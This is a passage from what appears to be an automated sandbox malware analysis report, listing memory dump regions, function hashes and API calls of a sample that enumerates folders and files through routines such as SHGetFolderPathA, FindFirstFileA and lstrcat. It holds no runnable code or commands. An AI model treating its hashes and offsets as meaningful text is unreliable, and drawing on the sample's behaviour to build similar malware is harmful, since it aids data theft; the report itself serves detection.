                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Catch
                                      • String ID: MOC$RCC
                                      • API String ID: 78271584-2084237596
                                      • Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
                                      • Instruction ID: d35dccdaaa0ae7b09e75582777def5251d856109a3fc2c9b6f09e1728fe4a7dd
                                      • Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
                                      • Instruction Fuzzy Hash: F3414971900209EFEF15DF98DD81AEEBBB6BF48304F188199F908A6211D335A950DF64
                                      Function 006736CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: T8g
                                      • API String ID: 0-1354569598
                                      • Opcode ID: ebee7b7bad02afd5c38f62567c68525325c0f01fa4448d3b7adcdae8bc16ad3d
                                      • Instruction ID: 9187230119652d177af7e45bde6e771dba082581e39e24b6ca1c6d58e1bd2398
                                      • Opcode Fuzzy Hash: ebee7b7bad02afd5c38f62567c68525325c0f01fa4448d3b7adcdae8bc16ad3d
                                      • Instruction Fuzzy Hash: 4C216FF1600226BF9B64AF618C818AA77ABAF40364714C51DF92D97351E731EE40A7A8
                                      Function 00605190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00608F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608F9B
                                      • lstrcat.KERNEL32(?,00000000), ref: 006051CA
                                      • lstrcat.KERNEL32(?,00611058), ref: 006051E7
                                      • lstrcat.KERNEL32(?,00F48A88), ref: 006051FB
                                      • lstrcat.KERNEL32(?,0061105C), ref: 0060520D
                                        • Part of subcall function 00604B60: wsprintfA.USER32 ref: 00604B7C
                                        • Part of subcall function 00604B60: FindFirstFileA.KERNEL32(?,?), ref: 00604B93
                                        • Part of subcall function 00604B60: StrCmpCA.SHLWAPI(?,00610FC4), ref: 00604BC1
                                        • Part of subcall function 00604B60: StrCmpCA.SHLWAPI(?,00610FC8), ref: 00604BD7
                                        • Part of subcall function 00604B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00604DCD
                                        • Part of subcall function 00604B60: FindClose.KERNEL32(000000FF), ref: 00604DE2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
                                      • String ID:
                                      • API String ID: 2667927680-0
                                      • Opcode ID: 68b9168dfa360652f4f2f1c08dbbc54b416d8db982bb25c1f0fa7691dd660982
                                      • Instruction ID: 96ce9650a54b4eb127f0cac9dfe6a334aaf3c307cf6c901b923477329701a9a4
                                      • Opcode Fuzzy Hash: 68b9168dfa360652f4f2f1c08dbbc54b416d8db982bb25c1f0fa7691dd660982
                                      • Instruction Fuzzy Hash: 3F21DDB6940208ABDB54F7B0EC46EEE333EBB94300F004558B656571D1EE749ACC8F95